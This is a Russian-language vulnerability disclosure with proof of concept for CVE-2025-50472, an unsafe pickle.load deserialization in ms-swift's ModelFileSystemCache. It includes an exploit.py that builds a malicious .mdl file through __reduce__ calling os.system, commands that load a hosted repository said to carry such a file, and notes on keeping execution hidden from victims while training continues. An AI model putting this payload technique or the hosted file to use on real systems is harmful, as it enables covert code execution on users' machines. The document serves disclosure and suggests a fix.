
Эксплойт proof-of-concept для CVE-2025-50472, уязвимость десериализации RCE в ModelFileSystemCache из ModelScope ms-swift через вредоносные файлы .mdl.
Я загрузил репозиторий с вредоносным файлом .mdl в ModelScope для тестирования. Его можно использовать напрямую во время тестирования. Ссылка: https://www.modelscope.cn/models/HaoFan2024/ms-swift-test-fanhao/files
Файл .mdl содержит встроенный вредоносный код, но на ModelScope не отображается предупреждение безопасности.
PoC Code:
# Set up the environment
pip install ms-swift==2.6.1
pip install -r framework.txt # This requirements file is included in the modelscope/ms-swift repository
# When using the remote repository HaoFan2024/ms-swift-test-fanhao, the `.mdl` file will be downloaded directly.
# During model loading, the `.mdl` file is loaded using `pickle.load`, leading to Remote Code Execution (RCE).
CUDA_VISIBLE_DEVICES=0 swift sft \
--model_type qwen1half-0_5b-chat \
--model_id_or_path=HaoFan2024/ms-swift-test-fanhao \
--dataset blossom-math-zh \
--num_train_epochs 5 \
--sft_type lora \
--output_dir output \
--eval_steps 200
Процедура воспроизведения проблемы следующая:
Модель загружается
После выполнения вредоносного кода обучение продолжается нормально без прерываний
Вредоносная нагрузка успешно выполняется
Библиотека modelscope/ms-swift версии до 2.6.1 уязвима к выполнению произвольного кода через десериализацию недоверенных данных в функции load_model_meta() класса ModelFileSystemCache(). Злоумышленники могут выполнять произвольный код и команды, создав вредоносную сериализованную нагрузку .mdl, используя pickle.load() на данных из потенциально недоверенных источников. Эта уязвимость позволяет выполнять удаленный код (RCE), обманывая жертв, заставляя их загрузить, казалось бы, безвредную контрольную точку во время обычного процесса обучения, тем самым позволяя злоумышленникам выполнять произвольный код на целевой машине.
Обратите внимание, что файл нагрузки является скрытым, что затрудняет обнаружение подделки жертвой. Более того, в процессе обучения модели после загрузки файла .mdl и выполнения произвольного кода обычный процесс обучения остается незатронутым, то есть пользователь не знает о выполнении произвольного кода.
Подробное описание уязвимости: Уязвимость возникает из-за небезопасной десериализации недоверенных данных. Скрипт использует pickle.load для загрузки скрытого файла кэша и уязвим к выполнению кода.
Поток кода от ввода до уязвимого условия:
~/.cache/modelscope/hub/xx/xx, где в каталоге модели находился файл кэша .mdl, содержащий основную информацию, такую как имя модели.caching.py десериализовал файл .mdl, выполнялся встроенный в файл вредоносный код.Точка внедрения: Уязвимость возникает в точке вызова pickle.load. Постоянная ссылка GitHub: https://github.com/modelscope/ms-swift/blob/ab38bff0387a86fd9f068246c326ee7b0d5ed139/swift/hub/utils/caching.py#L141
Предлагаемые исправления: При обработке файлов конфигурации (а не файлов моделей) рекомендуется использовать более безопасные методы разбора файлов, такие как yaml.safe_load(yaml_file) или json.load, чтобы снизить риск выполнения произвольного кода.
exploit.py для создания вредоносного файла кэша .mdl, который создаст каталог в системе жертвы:# exploit.py
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('mkdir HACKED',))
# .mdl
data = pickle.dumps(Exploit())
with open('.mdl', 'wb') as f:
f.write(data)
Замените исходный файл .mdl в каталоге модели на вредоносный файл, созданный выше.
Когда во время обучения параметр model_id_or_path указывает на локальный каталог модели, измененный файл .mdl по указанному пути может привести к удаленному выполнению кода (RCE).
Важно, такая модификация не нарушает нормальный рабочий процесс обучения, что делает атаку RCE скрытной и труднообнаружимой для пользователей.
CUDA_VISIBLE_DEVICES=0 swift sft --model_type qwen1half-0_5b-chat --model_id_or_path=/root/.cache/modelscope/hub/qwen/Qwen1___5-0___5B-Chat --dataset blossom-math-zh --num_train_epochs 5 --sft_type lora --output_dir output --eval_steps 200
Hao Fan (凡浩) и Yu Rong (戎誉)